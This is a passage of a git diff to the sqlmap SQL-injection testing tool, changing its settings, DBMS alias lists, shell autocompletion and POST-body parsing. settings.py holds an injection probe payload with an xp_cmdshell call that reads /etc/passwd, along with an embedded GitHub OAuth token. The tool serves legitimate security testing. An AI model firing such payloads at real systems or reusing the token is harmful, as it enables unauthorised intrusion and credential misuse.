"__BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" ASTERISK_MARKER = "__ASTERISK_MARK__" REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" +BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__" BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__" SAFE_VARIABLE_MARKER = "__SAFE__" SAFE_HEX_MARKER = "__SAFE_HEX__" +DOLLAR_MARKER = "__DOLLAR__" RANDOM_INTEGER_MARKER = "[RANDINT]" RANDOM_STRING_MARKER = "[RANDSTR]" SLEEP_TIME_MARKER = "[SLEEPTIME]" INFERENCE_MARKER = "[INFERENCE]" SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" +GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" @@ -91,6 +98,12 @@ # Regular expression used in recognition of generic protection mechanisms GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" +# Regular expression used to detect errors in fuzz(y) UNION test +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error" + +# Upper threshold for starting the fuzz(y) UNION test +FUZZ_UNION_MAX_COLUMNS = 10 + # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection" @@ -241,7 +254,7 @@ IS_WIN = PLATFORM == "nt" # Check if running in terminal -IS_TTY = os.isatty(sys.stdout.fileno()) +IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") @@ -255,35 +268,70 @@ SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") -H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") - +MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") +DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") +VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) +MCKOI_SYSTEM_DBS = ("",) +PRESTO_SYSTEM_DBS = ("information_schema",) +ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) +MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) +CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CUBRID_SYSTEM_DBS = ("DBA",) +CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") +EXTREMEDB_SYSTEM_DBS = ("",) +FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") + +# Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") -MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) +DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) +MCKOI_ALIASES = ("mckoi",) +PRESTO_ALIASES = ("presto",) +ALTIBASE_ALIASES = ("altibase",) +MIMERSQL_ALIASES = ("mimersql", "mimer") +CRATEDB_ALIASES = ("cratedb", "crate") +CUBRID_ALIASES = ("cubrid",) +CACHE_ALIASES = ("intersystems cache", "cachedb", "cache") +EXTREMEDB_ALIASES = ("extremedb", "extreme") +FRONTBASE_ALIASES = ("frontbase",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) +# DBMSes with upper case identifiers +UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE)) + +# Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" +VERTICA_DEFAULT_SCHEMA = "public" +MCKOI_DEFAULT_SCHEMA = "APP" +CACHE_DEFAULT_SCHEMA = "SQLUser" + +# DBMSes where OFFSET mechanism starts from 1 +PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") @@ -486,6 +534,9 @@ # Prefix for configuration overriding environment variables SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" +# General OS environment variables that can be used for setting proxy address +PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY") + # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 @@ -534,6 +585,9 @@ # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" +# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox) +IGNORED_OPTIONS = ("--compressed",) + # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" @@ -556,16 +610,16 @@ SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" # Period after last-update to start nagging about the old revision -LAST_UPDATE_NAGGING_DAYS = 60 +LAST_UPDATE_NAGGING_DAYS = 180 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05 -# Generic address for checking the Internet connection while using switch --check-internet -CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" +# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9) +CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json" # Value to look for in response to CHECK_INTERNET_ADDRESS -CHECK_INTERNET_VALUE = "IP Address Details" +CHECK_INTERNET_VALUE = '"ip":' # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" @@ -595,7 +649,7 @@ TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 -# Reference: https://support.microsoft.com/en-us/kb/899149 +# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times @@ -632,7 +686,7 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw==" +GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 @@ -659,7 +713,7 @@ SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows -HASH_RECOGNITION_QUIT_THRESHOLD = 10000 +HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" @@ -719,10 +773,10 @@ CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") # TLDs used in randomization of email-alike parameter values -RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe") +RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") @@ -764,10 +818,10 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data -JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z" +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" @@ -820,7 +874,7 @@ # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), - OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") + OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root @@ -868,14 +922,24 @@ if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() if _ in globals(): - globals()[_] = value + original = globals()[_] + if isinstance(original, int): + try: + globals()[_] = int(value) + except ValueError: + pass + elif isinstance(original, bool): + globals()[_] = value.lower() in ('1', 'true') + elif isinstance(original, (list, tuple)): + globals()[_] = [__.strip() for __ in _.split(',')] + else: + globals()[_] = value # Installing "reversible" unicode (decoding) error handler def _reversible(ex): - if isinstance(ex, UnicodeDecodeError): - if INVALID_UNICODE_PRIVATE_AREA: - return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) - else: - return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) + if INVALID_UNICODE_PRIVATE_AREA: + return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end) + else: + return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end) codecs.register_error("reversible", _reversible) diff --git a/lib/core/shell.py b/lib/core/shell.py index e2896ad20bc..2806b38efd5 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None): if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ - "copy": None, "del": None, "dir": None, - "echo": None, "md": None, "mem": None, + "attrib": None, "copy": None, "del": None, + "dir": None, "echo": None, "fc": None, + "label": None, "md": None, "mem": None, "move": None, "net": None, "netstat -na": None, - "ver": None, "xcopy": None, "whoami": None, + "tree": None, "truename": None, "type": None, + "ver": None, "vol": None, "xcopy": None, }) else: # Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands completer = CompleterNG({ - "cp": None, "rm": None, "ls": None, - "echo": None, "mkdir": None, "free": None, - "mv": None, "ifconfig": None, "netstat -natu": None, - "pwd": None, "uname": None, "id": None, + "cat": None, "chmod": None, "chown": None, + "cp": None, "cut": None, "date": None, "df": None, + "diff": None, "du": None, "echo": None, "env": None, + "file": None, "find": None, "free": None, "grep": None, + "id": None, "ifconfig": None, "ls": None, "mkdir": None, + "mv": None, "netstat": None, "pwd": None, "rm": None, + "uname": None, "whoami": None, }) readline.set_completer(completer.complete) diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index 216706de7b8..d25fbbd4b41 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index 72957074be8..484d8b83520 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -106,12 +106,12 @@ def _setRequestParams(): conf.data = "" if conf.data is not None: - conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method + conf.method = conf.method or HTTPMETHOD.POST def process(match, repl): retVal = match.group(0) - if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'): + if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'): retVal = repl while True: _ = re.search(r"\\g<([^>]+)>", retVal) @@ -120,12 +120,12 @@ def process(match, repl): else: break if kb.customInjectionMark in retVal: - hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name"))) + hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name"))) return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: - message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark + message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -138,13 +138,14 @@ def process(match, repl): kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s data. " % conf.method + message = "JSON data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.JSON if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) @@ -159,68 +160,66 @@ def process(match, repl): _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _) conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _)) - kb.postHint = POST_HINT.JSON - elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): - message = "JSON-like data found in %s data. " % conf.method + message = "JSON-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.JSON_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) - conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) - - kb.postHint = POST_HINT.JSON_LIKE + if '"' in conf.data: + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) + conf.data = re.sub(r'((?P"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data) + else: + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data) + conf.data = re.sub(r"((?P'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data) elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): - message = "Array-like data found in %s data. " % conf.method + message = "Array-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.ARRAY_LIKE if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data) - kb.postHint = POST_HINT.ARRAY_LIKE - elif re.search(XML_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML data found in %s data. " % conf.method + message = "SOAP/XML data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % kb.customInjectionMark), conf.data) - kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML - elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart-like data found in %s data. " % conf.method + message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'Q': raise SqlmapUserQuitException elif choice == 'Y': + kb.postHint = POST_HINT.MULTIPART if not (kb.processUserMarks and kb.customInjectionMark in conf.data): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data) - kb.postHint = POST_HINT.MULTIPART - if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed pass @@ -401,7 +400,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) @@ -491,7 +490,7 @@ def _resumeDBMS(): dbms = value.lower() dbmsVersion = [UNKNOWN_DBMS_VERSION] - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s (.*)" % _, dbms, re.I) if _: diff --git a/lib/core/testing.py b/lib/core/testing.py index 4685c6baef0..769caa9d42d 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,63 +1,36 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from __future__ import division - -import codecs import doctest import logging import os import random import re -import shutil import socket import sqlite3 import sys import tempfile import threading import time -import traceback -from extra.beep.beep import beep from extra.vulnserver import vulnserver -from lib.controller.controller import start -from lib.core.common import clearColors from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readXmlFile from lib.core.common import shellExec from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import encodeBase64 -from lib.core.convert import getUnicode -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries -from lib.core.enums import MKSTEMP_PREFIX -from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapNotVulnerableException -from lib.core.log import LOGGER_HANDLER -from lib.core.option import init -from lib.core.option import initOptions -from lib.core.option import setVerbosity -from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING -from lib.parse.cmdline import cmdLineParser - -class Failures(object): - failedItems = None - failedParseOn = None - failedTraceBack = None - -_failures = Failures() -_rand = 0 +from lib.core.patch import unisonRandom def vulnTest(): """ @@ -65,29 +38,40 @@ def vulnTest(): """ TESTS = ( - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": 